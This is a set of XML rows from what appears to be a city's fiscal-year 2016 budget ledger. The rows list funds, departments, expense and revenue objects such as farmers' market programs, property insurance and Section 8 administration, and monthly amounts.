<row _id="20679"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577530.0</object><object_description>FARMERS' MKT EDUCATION PRGS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14122</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14122</total></row>
<row _id="20680"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577540.0</object><object_description>FARMERS' MKT SPECIAL EVENTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25256</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25256</total></row>
<row _id="20681"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17870</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17870</total></row>
<row _id="20682"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20683"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>612</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>612</total></row>
<row _id="20684"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2182</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2182</total></row>
<row _id="20685"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>11636</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11636</total></row>
<row _id="20686"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402260.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2964598</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2964598</total></row>
<row _id="20687"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>543</total></row>
<row _id="20688"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20689"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577550.0</object><object_description>FARMERS' MARKET SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>39183</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39183</total></row>
<row _id="20690"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-9600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9600</total></row>
<row _id="20691"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>765</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>765</total></row>
<row _id="20692"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>185699</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>185699</total></row>
<row _id="20693"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400884.0</object><object_description>SPC HAP EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20694"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400922.0</object><object_description>SPC ADMIN TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20695"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="20696"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10620</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10620</total></row>
<row _id="20697"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7098</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7098</total></row>
<row _id="20698"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="20699"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>408020.0</object><object_description>TRAFFIC CONTROL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-3000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3000</total></row>
<row _id="20700"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7891</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7891</total></row>
<row _id="20701"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20702"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-3778</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3778</total></row>
<row _id="20703"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-7801</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-7801</total></row>
<row _id="20704"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-8390</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8390</total></row>
<row _id="20705"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-6006</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-6006</total></row>
<row _id="20706"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-2293</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2293</total></row>
<row _id="20707"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400923.0</object><object_description>SPC ADMIN SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-22388</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22388</total></row>
<row _id="20708"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400883.0</object><object_description>SPC HAP SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20709"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>11146</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>11146</total></row>
<row _id="20710"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FSS ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20711"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>884254</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>884254</total></row>
<row _id="20712"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20713"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>22940</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22940</total></row>
<row _id="20714"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403721.0</object><object_description>SERIAL INEBRIATE GRANT LEASING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-356349</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-356349</total></row>
<row _id="20715"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5000</total></row>
<row _id="20716"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>578330.0</object><object_description>PORTABLE ADMIN FEES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8000</total></row>
<row _id="20717"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>122561</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>122561</total></row>
<row _id="20718"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1171</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1171</total></row>
<row _id="20719"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>51527</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>51527</total></row>
<row _id="20720"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8370</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8370</total></row>
<row _id="20721"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>831</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>831</total></row>
<row _id="20722"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>63665</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>63665</total></row>
<row _id="20723"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FSS ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-64741</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-64741</total></row>
<row _id="20724"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 PORT IN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-20436</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-20436</total></row>
<row _id="20725"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400882.0</object><object_description>SPC HAP TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20726"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
